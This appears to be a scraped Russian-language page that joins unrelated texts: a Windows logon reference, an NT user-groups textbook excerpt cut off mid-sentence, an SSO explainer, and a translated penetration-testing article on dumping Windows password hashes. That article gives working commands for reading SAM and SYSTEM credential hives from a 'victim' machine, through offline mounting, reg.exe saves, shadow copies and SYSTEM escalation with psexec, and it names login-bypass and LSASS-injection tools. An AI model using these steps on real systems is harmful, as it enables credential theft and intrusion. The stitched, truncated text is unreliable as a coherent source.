В чем разница между типами пользователей sam

Сценарии входа в Windows

В этом справочном разделе для ИТ-специалистов приведены общие сценарии входа в систему и входа в Windows.

Операционные системы Windows требуют, чтобы все пользователи входить на компьютер с допустимой учетной записью для доступа к локальным и сетевым ресурсам. Компьютеры под управлением Windows защищают ресурсы путем реализации процесса входа, в котором пользователи проходят проверку подлинности. После проверки подлинности пользователя технологии авторизации и управления доступом реализуют второй этап защиты ресурсов: определяет, разрешен ли прошедший проверку подлинности пользователь для доступа к ресурсу.

Содержимое этого раздела относится к версиям Windows, указанным в списке «Область применения» в начале этого раздела.

Кроме того, приложения и службы могут требовать, чтобы пользователи могли войти в систему для доступа к этим ресурсам, предлагаемым приложением или службой. Процесс входа аналогичен процессу входа, в котором требуются допустимые учетные данные и правильные учетные данные, но сведения о входе хранятся в базе данных диспетчера учетных записей безопасности (SAM) на локальном компьютере и в Active Directory, где это применимо. Учетная запись входа и учетные данные управляются приложением или службой, и при необходимости можно хранить локально в Credential Locker.

Сведения о том, как работает проверка подлинности, см. в разделе «Основные понятия проверки подлинности Windows».

В этом разделе описаны следующие сценарии:

• Интерактивный вход в систему
• Вход в сеть
• Вход в smart карта
• Биометрический вход

Интерактивный вход в систему

Процесс входа начинается либо при вводе учетных данных в диалоговом окне входа учетных данных, либо при вставке смарт-карта в средство чтения смарт-карта или при взаимодействии пользователя с устройством биография метрик. Пользователи могут выполнять интерактивный вход с помощью учетной записи локального пользователя или учетной записи домена для входа на компьютер.

На следующей схеме показаны элементы интерактивного входа и процесс входа.

Архитектура проверки подлинности клиента Windows

Локальный и доменный вход

Учетные данные, представленные пользователем для входа в домен, содержат все элементы, необходимые для локального входа, например имя учетной записи и пароль или сертификат, а также сведения о домене Active Directory. Процесс подтверждает идентификацию пользователя в базе данных безопасности на локальном компьютере пользователя или домене Active Directory. Этот обязательный процесс входа нельзя отключить для пользователей в домене.

Пользователи могут выполнять интерактивный вход на компьютер двумя способами:

• Локально, когда пользователь имеет прямой физический доступ к компьютеру или когда компьютер входит в сеть компьютеров. Локальный вход предоставляет пользователю разрешение на доступ к ресурсам Windows на локальном компьютере. Для локального входа требуется, чтобы у пользователя была учетная запись пользователя в диспетчере учетных записей безопасности (SAM) на локальном компьютере. SAM защищает и управляет сведениями о пользователях и группах в виде учетных записей безопасности, хранящихся в реестре локальных компьютеров. Компьютер может иметь сетевой доступ, но это не обязательно. Для управления доступом к локальным ресурсам используется учетная запись локального пользователя и сведения о членстве в группах. Сетевой вход предоставляет пользователю разрешение на доступ к ресурсам Windows на локальном компьютере в дополнение к ресурсам на сетевых компьютерах, как определено маркером доступа учетных данных. Для локального входа в систему и входа в сеть требуется, чтобы у пользователя была учетная запись пользователя в диспетчере учетных записей безопасности (SAM) на локальном компьютере. Учетная запись локального пользователя и сведения о членстве в группах используются для управления доступом к локальным ресурсам, а маркер доступа для пользователя определяет, какие ресурсы можно получить на сетевых компьютерах. Локальный вход и сетевой вход недостаточно, чтобы предоставить пользователю и компьютеру разрешение на доступ к ресурсам домена и использовать их.
• Удаленно через службы терминалов или службы удаленных рабочих столов (RDS), в этом случае вход будет более квалифицирован как удаленный интерактивный.

После интерактивного входа Windows запускает приложения от имени пользователя, а пользователь может взаимодействовать с этими приложениями.

Локальный вход предоставляет пользователю разрешение на доступ к ресурсам на локальном компьютере или ресурсах на сетевых компьютерах. Если компьютер присоединен к домену, функция Winlogon пытается войти в этот домен.

Вход в домен предоставляет пользователю разрешение на доступ к локальным и доменным ресурсам. Для входа в домен требуется, чтобы у пользователя была учетная запись пользователя в Active Directory. Компьютер должен иметь учетную запись в домене Active Directory и физически подключаться к сети. Пользователи также должны иметь права пользователя для входа на локальный компьютер или домен. Сведения об учетной записи пользователя домена и сведения о членстве в группах используются для управления доступом к домену и локальным ресурсам.

Удаленный вход

В Windows доступ к другому компьютеру через удаленный вход использует протокол удаленного рабочего стола (RDP). Так как пользователь уже должен успешно войти на клиентский компьютер, прежде чем пытаться подключиться к удаленному подключению, интерактивные процессы входа в систему успешно завершены.

RDP управляет учетными данными, которые пользователь вводит с помощью клиента удаленного рабочего стола. Эти учетные данные предназначены для целевого компьютера, и пользователь должен иметь учетную запись на этом целевом компьютере. Кроме того, целевой компьютер должен быть настроен для принятия удаленного подключения. Учетные данные целевого компьютера отправляются для попытки выполнить процесс проверки подлинности. Если проверка подлинности выполнена успешно, пользователь подключен к локальным и сетевым ресурсам, доступным с помощью предоставленных учетных данных.

Вход в сеть

Вход в сеть можно использовать только после того, как произошла проверка подлинности пользователя, службы или компьютера. Во время входа в сеть процесс не использует диалоговые окна ввода учетных данных для сбора данных. Вместо этого используется ранее установленные учетные данные или другой метод сбора учетных данных. Этот процесс подтверждает удостоверение пользователя для любой сетевой службы, к которым пользователь пытается получить доступ. Этот процесс обычно невидим для пользователя, если не нужно предоставлять альтернативные учетные данные.

Чтобы обеспечить этот тип проверки подлинности, система безопасности включает следующие механизмы проверки подлинности:

• Протокол Kerberos версии 5
• Сертификаты открытого ключа
• Уровень безопасности сокетов или безопасность транспортного уровня (SSL/TLS)
• Дайджест
• NTLM для совместимости с системами на основе Microsoft Windows NT 4.0

Сведения об элементах и процессах см. на схеме интерактивного входа выше.

Вход по смарт-карте

Смарт-карта можно использовать для входа только в учетные записи домена, а не локальные учетные записи. Для проверки подлинности smart карта требуется использование протокола проверки подлинности Kerberos. В Windows 2000 Server в операционных системах под управлением Windows реализовано расширение открытого ключа для начального запроса проверки подлинности протокола Kerberos. В отличие от шифрования общего ключа секрета, криптография открытого ключа асимметрична, т. е. требуются два разных ключа: один для шифрования, другой для расшифровки. Вместе ключи, необходимые для выполнения обеих операций, составляют пару закрытых и открытых ключей.

Чтобы инициировать типичный сеанс входа, пользователь должен доказать свое удостоверение, предоставив сведения, известные только пользователю и базовой инфраструктуре протокола Kerberos. Секретная информация — это криптографический общий ключ, производный от пароля пользователя. Общий секретный ключ является симметричным, что означает, что один и тот же ключ используется как для шифрования, так и для расшифровки.

На следующей схеме показаны элементы и процессы, необходимые для интеллектуального входа в систему карта.

Архитектура поставщика учетных данных смарт-карты

Если смарт-карта используется вместо пароля, пара закрытых и открытых ключей, хранящейся на смарт-карта пользователя, заменяется общим секретным ключом, производным от пароля пользователя. Закрытый ключ хранится только в смарт-карта. Открытый ключ можно предоставить любому пользователю, с которым владелец хочет обмениваться конфиденциальной информацией.

Дополнительные сведения о процессе входа в смарт-карта в Windows см. в статье «Как работает интеллектуальный вход карта в Windows».

Биометрический вход

Устройство используется для захвата и создания цифровой характеристики артефакта, например отпечатка пальца. Затем это цифровое представление сравнивается с образцом одного артефакта, и при успешном сравнении двух данных может произойти проверка подлинности. Компьютеры под управлением любой из операционных систем, указанных в списке «Область применения» в начале этого раздела, можно настроить для принятия этой формы входа. Однако если биография метрический вход настроен только для локального входа, пользователь должен предоставить учетные данные домена при доступе к домену Active Directory.

Дополнительные ресурсы

Сведения о том, как Windows управляет учетными данными, отправленными во время входа, см. в разделе «Управление учетными данными» в проверке подлинности Windows.

Создание пользователей и групп — WEBSITE X5 UNREGISTERED VERSION 12.0.5.22 — Электронный справочник по дисциплине Операционные системы и среды

Администрирование пользователей состоит в создании учетной информации пользователей (определяющей имя пользователя, принадлежность пользователя к различным группам пользователей, пароль пользователя), а также в определении прав доступа пользователя к ресурсам сети — компьютерам, каталогам, файлам, принтерам и т.п.

Создание учетной информации пользователей осуществляется в сети Windows NT утилитой User Manager для локальногого компьютера и User Manager for Domains для всех компьеров домена. Права доступа к ресурсам задаются в сети Windows NT различными средствами, в зависимости от типа ресурса. Возможность использования копьютеров Windows NT Workstation в качестве рабочих станций — с помощью User Manager for Domains, доступ к локальным каталогам и файлам (только для файловой системы NTFS, поддерживающей права доступа) — с помощью средств Windows NT Explorer, к удаленным разделяемым каталогам — с помощью Server Manager, доступ к принтерам — из панели Printers.

Типы пользователей и групп пользователей
В сети Windows NT могут быть определены следующие типы пользователей и групп пользователей:

• локальный интерактивный пользователь компьютера (пользователь, который заведен в локальной учетной базе данных компьютера, и который работает с ресурсами компьютера интерактивно);
• локальный сетевой пользователь компьютера (пользователь, который заведен в локальной учетной базе данных компьютера, и который работает с ресурсами компьютера через сеть);
• пользователь домена (пользователь, который заведен в глобальной учетной базе данных домена на PDC);
• локальная группа компьютера (может создаваться на всех компьютерах домена, кроме PDC и BDC, в которых она вырождается в локальную группу домена);
• локальная группа домена — состоит из пользователей домена (заводится только на PDC);
• глобальная группа домена — состоит из пользователей домена (может входить в локальную группу домена).

Для каждого типа групп имеется некоторый набор встроенных групп: Administrators, Server Operators, Users, Everyone, DomainUsers и др.

Для однозначной идентификации глобальной группы в многодоменной сети, используется составное ее имя, например Marketing\Managers, где Marketing — имя домена, Managers — имя глобальной группы.

Типы объектов

• Каталоги и файлы . Процедуры задания правил доступа различаются для локальных и разделяемых (share) каталогов и файлов. Операции: read, full control, change, add, . ;
• Принтеры;
• Операционная система . По отношению к этому типу объектов определяются права по выполнению различных сервисов и утилит: вход, архивирование файлов, изменение конфигурации панелей Program Manager, .

Типы операций доступа

Операции доступа — это действия объектов над субъектами. Операции могут быть либо разрешены, либо запрещены, либо вообще не иметь смысла для данной пары объекта и субъекта.

Все множество операций разделяется на подмножества, имеющие особые названия:

• разрешения (permissions) — это множество операций, которые могут быть определены для субъектов всех типов по отношению к объектам типа файл, каталог или принтер;
• права ( user rights) — определяются для объектов типа группа на выполнение некоторых системных операций: создание резервных копий, выключение компьютера (shutdown) и т.п. Права назначаются с помощью User Manager for Domains;
• возможности пользователей (user abilities) — определяются для отдельных пользователей на выполнение действий, связанных с формированием их операционной среды, например, изменение состава программных групп, показываемых на экране дисплея, включение новых иконок в Desktop, возможность использования команды Run и т.п.

Права и разрешения данные группе автоматически предоставляются ее членам, позволяя администратору рассматривать большое количество пользователей как единицу учетной информации.

Возможности пользователей определяются профилем пользователя.
Локальные, глобальные и специальные группы

Windows NT Server использует три типа групп: локальные, глобальные и специальные. Каждый тип имеет свое назначение, возможности и ограничения.

Локальная группа может определяться для домена или для компьютера. Локальные группы дают пользователям права и разрешения на ресурсы того компьютера (или домена), где хранится учетная информация локальной группы. Доступ к ресурсам компьютера — Windows NT Workstation или Windows NT Server могут быть определены только для членов локальной группы этого компьютера, даже если эти компьютеры яваляются членами домена. Например, доступ к ресурсам сервера Windows NT Server 2 на рисунке 5.1 может быть определен только для пользователей, учетные данные которых хранятся в SAM 2 этого компьютера.

Так как база SAM PDC копируется на все BDC домена, то пользователи, определенные в PDC, могут иметь права на ресурсы как PDC, так и всех BDC домена.

Доступ к ресурсам компьютера для пользователей домена обеспечивается за счет механизма включения в локальную группу отдельных пользователей домена и глобальных групп домена. Включенные пользователи и группы получают те же права доступа, что и другие члены данной группы. Механизм включения глобальных групп в локальные является основным средством централизованного администрирования прав доступа в домене Windows NT.

Локальная группа не может содержать другие локальные группы. Поэтому в сети, использующей модель рабочей группы нет возможности определить на одном компьютере всех пользовавтелей сети и предоставлять им доступ к ресурсам других компьютеров.

В любом случае локальная группа объединяет некоторое число пользователей и глобальных групп, которым присваивается общее имя — имя локальной группы. Локальные группы могут включать пользователей и глобальные группы не только данного домена, но и любых доверяемых доменов.

Windows NT Workstation и Server поддерживают несколько встроенных локальных групп для выполнения системных задач. Администратор может создавать дополнительные локальные группы для управления доступом к ресурсам. Встроенные локальные группы делятся на две категории — администраторы (Administrators), которые имеют все права и разрешения на данный компьютер, и операторы, которые имеют ограниченные права на выполнение специфических задач. Для Windows NT Server имеются следующие группы-операторы: операторы архивирования (Backup Operator), репликаторы (Replicator), операторы сервера (Serevr Operator), принт-операторы (Print Operator) и операторы учетной информации (Account Operator). Для Windows NT Workstation имеется только две группы операторов — Backup Operators и Power Users.

Кроме того, как на Windows NT Server, так и на Windows NT Workstation имеются втроенные локальные группы Users — для обычных пользователей, и Guests — для временных пользователей, которые не могут иметь профиля и должны обладать минимальными правами.

Для упрощения организации предоставления доступа пользователям из другого домена в Windows NT введено понятие глобальной группы.

Глобальная группа пользователей — это группа, которая имеет имя и права, глобальные для всей сети, в отличие от локальных групп пользователей, которые имеют имена и права, действительные только в пределах одного домена. Администратор доверяющего домена может предоставлять доступ к ресурсам своего домена пользователям из глобальных групп тех доменов, которым данный домен доверяет. Глобальные группы можно включать в состав локальных групп пользователей ресурсного домена.

Глобальная группа — это некоторое число пользователей одного домена, которые группируются под одним именем. Глобальным группам могут даваться права и разрешения путем включения их в локальные группы, которые уже имеют требуемые права и разрешения. Глобальная группа может содержать только учетную информацию пользователей из локальных учетных баз данных, она не может содержать локальные группы или другие глобальные группы.

Существует три типа встроенных глобальных групп: администратор домена (Domain Admins), пользователи домена (Domain Users) и гости домена (Domain Guests). Эти группы изначально являются членами локальных групп администраторов, пользователей и гостей соответственно.

Необходимо использовать встроенные группы там, где только это возможно. Рекомендуется формировать группы в следующей последовательности:

1. В учетном домене необходимо создать пользователей и добавить их к глобальным группам.
2. Включить глобальные группы в состав локальных групп ресурсных доменов.
3. Предоставить локальным группам необходимые права и разрешения.

Специальная группа — используется исключительно Windows NT Server для системного доступа. Специальные группы не содержат учетной информации пользователей и групп. Администраторы не могут приписать пользователей к этим группам. Пользователи либо являются членами этих групп по умолчанию (например, каждый пользователь является членом специальной группы Everyone), либо они становятся ими в зависимости от своей сетевой активности.

Существует 4 типа специальных групп:

• Network (Cетевая)
• Interactive (Интерактивная)
• Everyone (Каждый)
• Creator Owner (Создатель-Владелец).

Любой пользователь, который хочет получить доступ к разделяемому ресурсу по сети, автоматически становится членом группы Network. Пользователь, локально вошедший в компьютер, автоматически включается в группу Interactive. Один и тот же пользователь в зависимости от того, как он работает с компьютером, будет иметь разные права. Любой пользователь сети является членом группы Everyone. Администратор может назначить группе Everyone любые права. При этом администратор может предоставить любые права пользователю, не заводя на него учетной информации на своем компьютере. Группа Creator Owner содержит учетную информацию пользователя, который создал ресурс или владеет им.

В файловой системе NTFS разрешения группе Creator Owner даются на уровне каталога. Владелец любого каталога или файла, созданного в данном каталоге, получает разрешения, данные группе Creator Owner. Например, можно назначить какому-либо каталогу для членов группы Everyone разрешения Read (Чтение), а группе Creator Owner предоставить доступ Full Control (Полное управление). Любой пользователь, который создает файлы или подкаталоги в этом каталоге, будет иметь к ним доступ Full

Эффективное получение хеша паролей в Windows. Часть 1

Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7.

Автор:Bernardo Damele A. G.

Слегка измененное определение из Википедии: Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7. В SAM хранятся хешированные пароли пользователей (в формате LM-хеш или NTLM-хеш). Благодаря тому, что хеш-функция однонаправленная, пароли находятся в относительной безопасности. Вообще, получение хеша паролей пользователей операционной системы, как правило, один из первых шагов, ведущий к компрометации системы в дальнейшем. Доступ к хешированным паролям дает “зеленый свет” различным атакам, к примеру: использование хеша для SMB-аутентификации в других системах с тем же паролем, анализ парольной политики и распознавание структуры пароля, взлом пароля и.т.п. Способов получения хешированных паролей из SAM множество, и выбор конкретного способа будет зависеть от того, каким именно доступом к компьютеру жертвы вы обладаете.

Физический доступ

• bkhive — получает syskey bootkey из куста системы
• samdump2 – получает хеши паролей в Windows 2k/NT/XP/Vista

Вышеназванные утилиты, как правило, поставляются со многими дистрибутивами GNU/Linux. Перед получением дампа хешей убедитесь, что вы располагаете этими утилитами.

# bkhive
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

bkhive systemhive keyfile

# samdump2
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
samdump2 samhive keyfile

Пример получения хешей SAM из Windows-раздела /dev/sda1:

# mkdir -p /mnt/sda1
# mount /dev/sda1 /mnt/sda1
# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved syskey.txt
# samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt

Если же bkhive и samdump2 у вас нет, то можно скопировать SYSTEM и SAM файлы из /mnt/sda1/Windows/System32/config себе на флешку, а затем импортировать файлы с флешки в любую утилиту, позволяющую извлечь хеши SAM: например, Cain & Abel, creddump,mimikatz и.т.п.

Обход приглашения на ввод пароля

• BootRoot – проект, представленный на конференции Black Hat USA 2005 исследователями Дереком Сёдером (Derek Soeder) и Райаном Пермехом (Ryan Permeh). С помощью технологии BootRoot можно в стандартном загрузочном секторе выполнить код, который во время загрузки уронит ядро Windows. eEye BootRootKit – это NDIS бэкдор, который работает по типу boot-вируса и демонстрирует использование технологии BootRoot.
• SysRQ2 – загрузочный CD-образ, позволяющий пользователю в любое время после загрузки нажатием клавиш Ctrl-Shift-SysRq вызвать командную строку с полными привилегиями (привилегии SYSTEM). SysRQ2 работает на системах Windows 2000, Windows XP и Windows Server 2003. SysRQ2 впервые был продемонстрирован на конференции Black Hat USA 2005 исследователями Дереком Сёдером и Райаном Пермехом в качестве примера использования технологии eEye BootRootKit. Для создания диска с SysRq выберите опцию “создать CD из ISO-образа” в предпочтительном ПО для прожига дисков.
• Kon-Boot – прототип программы, благодаря которой на лету (во время загрузки) можно менять содержимое ядра Linux или Windows. В текущей сборке Kon-Boot позволяет войти в linux-систему под root’ом без ввода пароля или повысить привилегии текущего пользователя до root’а. В случае с Windows-системами с помощью Kon-Boot можно войти в любой защищенный паролем профиль без знания самого пароля.

Сброс пароля

Как вариант, можно загрузиться с live CD или флешки с bootdisk, и с помощью утилиты chntpw сбросить пароль любого локального пользователя Windows.

Использование пост-эксплойтов

В этой ситуации, как правило, система уже скомпрометирована, и вы получили доступ к командной строке с административными правами. Далее нужно повысить свои привилегии до пользователя SYSTEM. Например, с помощью утилиты PsExec из пакета SysInternals:

C:\>psexec.exe -i -s cmd.exe

Есть и другие способы повышения привилегии, но их описание останется вне рамок этого поста.

Методы, основанные на унаследованных возможностях Windows

В системах Windows NT и Windows 2000 можно воспользоваться утилитой Ntbackup из подсистемы MS-DOS: сохраните бэкап состояния системы в локальном файле на скомпрометированной машине, а затем снова используйте Ntbackup и восстановите состояние системы в локальном каталоге без сохранения настроек безопасности. По окончании описанной процедуры вы будете обладать файлами SAM и SYSTEM. Первоначальный бэкап Windows 2000 c последними пакетами обновлений и исправлений занимает около 280МБ. Для более современных версий Windows вместо Ntbackup подойдет утилита Wbadmin.

Также стоит упомянуть утилиту regback.exe из пакета Windows 2000 Resource Kit Tools. Утилита слегка упрощает процесс, так как сливаются только нужные файлы:

C:\>regback.exe C:\backtemp\SAM machine sam
C:\>regback.exe C:\backtemp\SYSTEM machine system

Если regback.exe не срабатывает, то на системах Windows XP и выше можно воспользоваться утилитами regedit.exe и reg.exe:

Использование reg.exe:

C:\>reg.exe save HKLM\SAM sam
The operation completed successfully
C:\>reg.exe save HKLM\SYSTEM sys
The operation completed successfully

Использование regedit.exe:

• Выполнить regedit.exe в Start/Run.
• Открыть ветку Computer\HKEY_LOCAL_MACHINE, правой кнопкой мыши щелкнуть по секции SAM и выбрать “Export” (“Экспортировать”).
• Установить значение параметра “Save as type” (“Тип файла”) в “Registry Hive Files” (“Файлы кустов реестра”).
• Проделать то же самое для куста SYSTEM.

И, наконец, еще один способ: файлы SAM и SYSTEM можно достать из каталога C:\Windows\repair. Но существует вероятность, что в каталоге содержаться устаревшие копии нужных файлов, информация о пользователях в которых неактуальна.

Метод, использующий теневое копирование томов

Метод стал известен относительно недавно, и впервые его использование продемонстрировал Тим Томс (Tim Tomes). Метод эксплуатирует функционал теневого копирования томов в современных операционных системах Windows для того, чтобы получить доступ к заблокированным ранее системным файлам, таким как файлы SAM и SYSTEM в каталоге C:\Windows\System32\config.

Для выполнения метода, вы можете воспользоваться cкриптом vssown, который дает возможность управлять теневым копированием.

Список теневых копий:

C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Как и ожидалось, сначала никаких теневых копий нет.

Проверим статус службы теневого копирования (VSS):

C:\>cscript vssown.vbs /status
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

C:\>cscript vssown.vbs /mode
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] VSS service set to ‘Manual’ start mode.

Если тип запуска службы “Вручную”, то нам нужно установить тип запуска в первоначальное состояние (“Остановлена”).

Создадим теневую копию:

C:\>cscript vssown.vbs /create
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] Attempting to create a shadow copy.

Проверим, что теневая копия создалась:

C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] ID:
[*] Client accessible: True
[*] Count: 1
[*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] Differnetial: True
[*] Exposed locally: False
[*] Exposed name:
[*] Exposed remotely: False
[*] Hardware assisted: False
[*] Imported: False
[*] No auto release: True
[*] Not surfaced: False
[*] No writers: True
[*] Originating machine: LAPTOP
[*] Persistent: True
[*] Plex: False
[*] Provider ID:
[*] Service machine: LAPTOP
[*] Set ID:
[*] State: 12
[*] Transportable: False
[*] Volume name: \\?\Volume\

Обратите внимание на значение параметров Deviceobject и ID. Значение первого параметра понадобиться для осуществления следующего шага, а значение второго – для очистки.

Достанем следующие файлы из теневой копии:

C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .

Таким образом, мы только что скопировали файлы SAM и SYSTEM из теневой копии в папку C:\root.

C:\>cscript vssown.vbs /delete

Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] Attempting to delete shadow copy with ID:

И, наконец, остановим службу теневого копирования:

C:\>cscript vssown.vbs /stop

Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

[*] Signal sent to stop the VSS service.

Методы, основанные на внедрении в память процессов

В основе подобных методов получения SAM-хешей из памяти лежит внедрение DLL в системный процесс LSASS, или, в общем случае, разбиение памяти на отдельные участки и изучение содержимого полученных участков. Манипуляции с памятью могут привести к падению процесса LSASS и Синему Экрану Смерти (BSoD), поэтому предпочтительнее использовать методы, основанные на копировании кустов реестра (regback.exe и reg.exe\regedit.exe), либо теневое копирование томов. Тем не менее, в некоторых особых случаях внедрение в память все-таки требуется.

Наиболее известным инструментом для получения хешей SAM, вероятно, является утилита fgdump – улучшенная версия pwdump6; обе утилиты разработаны командой foofus. Основное преимущество fgdump над pwdump заключается в возможности работать на системах Windows Vista и выше. Хотя пару раз я видел, как падали обе утилиты. Среди более стабильных и надежных инструментов можно выделить pwdump7 от Андреса Тараско (Andres Tarasco) и gsecdump от TrueSec. Обе утилиты работают на всех версиях Windows, как 32- так и 64-битных. Нужно отметить, что с контроллеров домена слить хеши паролей с помощью утилиты pwdump7 не получится, так как эта утилита вместо внедрения в LSASS читает хеши SAM из реестра. Еще одна надежная и популярная утилита – это PWDumpX, разработанная Ридом Арвином (Reed Arvin), хотя работает PWDumpX только на 32х разрядных системах.

Ниже на скриншоте показан дамп информации из SAM, полученной утилитой gsecdump на Windows Server 2003 SP2 32-bit:

Дамп информации о локальных пользователях после внедрения кода в процесс LSASS

В Metasploit Framework также имеются собственные модули пост-эксплойта, встроенные команды и скрипты для Meterpreter, позволяющие получить хеши SAM. Подробнее о работе кода и о том, какие идеи лежат в его основе можно прочитать в этих постах.

Разумеется, существует и множество других инструментов и методов, и важно знать, какой именно метод подходит для конкретной системы. Чтобы облегчить выбор, я создал сводную электронную таблицу, в которой перечислены нужные утилиты, их возможности и принципы работы, и, что самое важное, возможные проблемы при использовании таких утилит.

Изменения на 4 января 2012 г.

• Дэвид Мэлони (David Maloney) добавил в Metasploit Frameworkмодули, позволяющие работать с процессом теневого копирования томов.
• TrueSec обновил gsecdump до версии v.2.0b5. Последняя версия стабильно работает на всех версиях Windows (как на 32х-, так и на 64х-разрядных).

Как работает single sign-on (технология единого входа)?

Технология единого входа (Single sign-on SSO) — метод аутентификации, который позволяет пользователям безопасно аутентифицироваться сразу в нескольких приложениях и сайтах, используя один набор учетных данных.

Как работает SSO?

SSO базируется на настройке доверительных отношений между приложением, известным как провайдер услуг, и системой управления доступами, например, OneLogin. Такие доверительные отношения часто базируются на обмене сертификатом между системой управления доступами и провайдером услуг. Такой сертификат может использоваться, чтобы обозначить идентификационную информацию, которая отправляется от системы управления доступами провайдеру услуг, таким образом провайдер услуг будет знать, что информация поступает из надежного источника. В SSO идентификационные данные принимают форму токенов, содержащих идентификационные значения информации о пользователе такие, как email или имя пользователя.

Порядок авторизации обычно выглядит следующим образом:

1. Пользователь заходит в приложение или на сайт, доступ к которому он хочет получить, то есть к провайдеру услуг.
2. Провайдер услуг отправляет токен, содержащий информацию о пользователе (такую как email адрес) системе SSO (так же известной, как система управления доступами), как часть запроса на аутентификацию пользователя.
3. В первую очередь система управления доступами проверяет был ли пользователь аутентифицирован до этого момента. Если да, она предоставляет пользователю доступ к приложению провайдера услуг, сразу приступая к шагу 5.
4. Если пользователь не авторизовался, ему будет необходимо это сделать, предоставив идентификационные данные, требуемые системой управления доступами. Это может быть просто логин и пароль или же другие виды аутентификации, например одноразовый пароль (OTP — One-Time Password).
5. Как только система управления доступами одобрит идентификационные данные, она вернет токен провайдеру услуг, подтверждая успешную аутентификацию.
6. Этот токен проходит “сквозь браузер” пользователя провайдеру услуг.
7. Токен, полученный провайдером услуг, подтверждается согласно доверительным отношениям, установленным между провайдером услуг и системой управления доступами во время первоначальной настройки.
8. Пользователю предоставляется доступ к провайдеру услуг.

Если пользователь попробует получить доступ к другому сайту, то понадобится настройка подобных доверительных отношений в соответствии с методом SSO. Порядок аутентификации в этом случае будет состоять также из вышеизложенных шагов.

Что такое токен в контексте SSO?

Токен — это набор информации или данных, который передается из одной системы в другую в процессе исполнения SSO. Данные могут быть просто email адресом и информацией о системе, отправившей токен. Токены должны обладать цифровой подписью для получателя, чтобы подтвердить, что он поступил из надежного источника. Сертификат для электронной подписи предоставляется во время первоначального этапа настройки.

Является ли технология SSO безопасной?

Ответом на этот вопрос будет «в зависимости от ситуации».

Есть несколько причин, по которым стоит внедрить SSO. Метод единого входа может упростить работу с логином и паролем, как для пользователя, так и для администратора. Пользователям больше не придется держать в голове все учетные данные, теперь можно просто запомнить один более сложный пароль. SSO позволяет пользователям намного быстрее получить доступ к приложениям.

SSO также сокращает количество времени, потраченного на восстановление пароля с помощью службы поддержки. Администраторы могут централизованно контролировать такие факторы, как сложность пароля и многофакторную аутентификацию (MFA). Администраторы также могут быстрее отозвать привилегии на вход в систему, если пользователь покинул организацию.

Однако, у SSO есть некоторые недостатки. Например, вероятно, вам захочется, чтобы определенные приложения оставались заблокированы/менее открыты к доступу. По этой причине важно выбрать то решение SSO, которое, к примеру, даст вам возможность запросить дополнительный фактор проверки аутентификации прежде, чем пользователь авторизуется или оградит пользователей от доступа к определенным приложениям пока не обеспечено безопасное соединение.

Как внедрить SSO?

Особенности внедрения SSO могут отличаться с учетом того, с каким именно решением SSO вы работаете. Но вне зависимости от способа, вам нужно точно знать какие цели вы преследуете. Убедитесь, что вы ответили на следующие вопросы:

• С какими типами пользователей вы работаете и какие у них требования?
• Вы ищете локальное или облачное решение?
• Возможен ли дальнейший рост выбранной программной платформы вместе с вашей компанией и ее запросами?
• Какие функции вам необходимы, чтобы убедиться в том, что процесс авторизации проходят только проверенные пользователи? MFA, Adaptive Authentication, Device Trust, IP Address Whitelisting, и т.д?
• С какими системами вам необходимо интегрироваться?
• Нужен ли вам доступ к программному интерфейсу приложения (API)?

Что отличает настоящую SSO от хранилища или менеджера паролей?

Важно понимать разницу между SSO (Технологией единого входа) и хранилищем или менеджерами паролей, которые периодически путают с SSO, но в контексте Same Sign-On — что означает “такой же/одинаковый вход”, а не “единый вход” (Single Sign-On). Говоря о хранилище паролей, у вас может быть один логин и пароль, но их нужно будет вводить каждый раз при переходе в новое приложение или на новый сайт. Такая система попросту хранит ваши идентификационные данные для других приложений и вводит их когда это необходимо. В данном случае между приложением и хранилищем паролей не установлены доверительные отношения.

С SSO, после того, как вы вошли в систему, вы можете получить доступ ко всем одобренным компанией сайтам и приложениям без необходимости авторизовываться снова. Это включает в себя как облачные, так и локально установленные приложения, часто доступные через сам сервис SSO (также известный, как сервис авторизации).

В чем разница между программным обеспечением единого входа и решением SSO?

Изучая доступные варианты единого входа, вы можете увидеть, что их иногда называют программным обеспечением единого входа, а не решением единого входа или провайдером единого входа. Часто разница состоит лишь в том, как позиционируют себя компании. Фрагмент программного обеспечения предполагает локальную установку. Обычно это то, что разработано для определенного набора задач и ничего более. Программный продукт предполагает, что есть возможность расширяться и кастомизировать потенциальные возможности исходного варианта. Провайдер будет отличным вариантом, чтобы обратиться к компании, которая производит или пользуется программным продуктом. Например, OneLogin в качестве провайдера SSO.

Бывают ли разные типы SSO?

Когда мы говорим о едином входе (SSO), используется множество терминов:

• Federated Identity Management (FIM)
• OAuth (OAuth 2.0 в настоящее время)
• OpenID Connect (OIDC)
• Security Access Markup Language (SAML)
• Same Sign On (SSO)

На самом деле, SSO это часть более крупной концепции под названием Federated Identity Management, поэтому иногда SSO обозначается, как федеративная SSO. FIM просто относится к доверительным отношениям, созданным между двумя или более доменами или системами управления идентификацией. Система единого входа (SSO) — это характеристика/фича, доступная внутри архитектуры FIM.

